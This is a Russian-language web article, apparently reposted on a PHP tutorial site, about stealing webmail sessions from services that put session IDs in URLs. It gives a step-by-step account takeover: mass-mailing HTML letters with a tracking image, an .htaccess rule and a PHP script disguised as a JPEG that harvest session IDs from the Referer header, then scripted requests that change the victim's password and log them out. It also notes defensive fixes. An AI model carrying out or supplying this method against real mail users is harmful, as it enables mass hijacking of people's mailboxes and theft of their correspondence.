Главная » Полезные статьи » Язык PHP » Дверца в защите: почтовый веб-интерфейс
Распечатать статью

Дверца в защите: почтовый веб-интерфейс

Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал «как можно», а не «как нужно»! Успокойтесь, ничего особо ценного, как «инструментарий юного хацкера» в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.

 

A. V. Komlin, Субъективная оценка российских удалённых почтовых сервисов. Тестирование на ошибки в Веб-интерфейсе. Очень полезная статья.

Описывается сервис HotBox.Ru.

Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.

Как уже было отмечено — во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки «пирожков» (хотя узнать их при возможности выполнить скрипт проблемой не являлось).

Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле «Referer:» в заголовке пришедшего запроса!

GET /anyname.gif HTTP/1.0 Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5 Connection: Keep-Alive ...

Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно «работать с почтой » (почитать письма ,установить пересылку…) пока хозяин не выйдет из неё.

Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).

На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.

Итак, мы имеем почтовый сервис, который
а) авторизует пользователей по технологии аналогичной сессиям в php.
б) не делает проверки IP-адресов
в) не проверяет содержимое писем формата html
г) не требует подтверждений изменений системных настроек

А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!

Мы же, крутые хацкеры, используем Apache+PHP.

1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом
<img src=http://www.server.com/picture.jpg>

например, с поздравительной открыткой. :)

2. В директории с открыткой кладем файл .htaccess следующего содержания:

<Files "picture.jpg">
ForceType application/x-httpd-php
</Files>

3. Вместо открытки пишем файл picture.jpg с таким кодом:

<? header("Content-type: image/gif"); include("otkrytka.jpg");

4. А поздравительную открытку кладем именно в файл otkrytka.jpg. Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь — разбирает переменную , выкусывает оттуда идентификатор сессии и… в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:

5. Открывает сокет с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки — рефереры, user agent и т.п.

6. Открывает второй сокет, имитируя нажатие кнопки «выход».

* Сокет — сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.

ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит — сообщение типа «неправильный пароль, войдите еще раз».

Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле — целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает — ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Со>ят ли удобства таких жертв? Думаю, нет.

Источник: internet-technologies.ru

Вы можете оставить комментарий, или обратную ссылку на Ваш сайт.

Оставить комментарий

Похожие статьи